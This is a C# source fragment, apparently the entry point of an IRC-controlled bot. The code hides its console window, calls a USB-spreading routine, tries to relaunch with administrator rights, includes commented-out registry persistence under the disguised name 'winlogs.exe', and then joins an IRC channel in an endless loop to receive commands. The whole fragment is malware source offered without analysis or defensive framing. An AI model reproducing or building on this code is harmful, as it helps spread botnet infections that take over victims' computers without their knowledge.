static void Main(string[] args)
        {
            int win = GetConsoleWindow();
            ShowWindow(win, 0);

            try
            {
                fp = Process.GetCurrentProcess().MainModule.FileName;
                string[] beetweenthing = fp.Split('\\');
                filename = beetweenthing[beetweenthing.Length - 1];
                UsbInject();
            }
            catch (Exception)
            { }

            ProcessStartInfo p = new ProcessStartInfo();
            p.UseShellExecute = true;
            p.Verb = "runas";

            try
            {
                Process.Start(p);
            }
            catch(Exception e) { }

            // Start on Start Up
            //RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            //rkApp.SetValue("winlogs.exe", Application.ExecutablePath.ToString());

            _irc = new IRC("IRCBot");
            _irc.Nick = nick;
            _irc.Connect(server, port);
            _irc.Logon(nick, nick);
            _irc.Join(channel);
            _irc.IRCMessageRecieved += new IRC.IRCMessageRecievedHandler(_irc_IRCMessageRecieved);

            while (true)
            {
                _irc.ProcessEvents(0);
            }
        }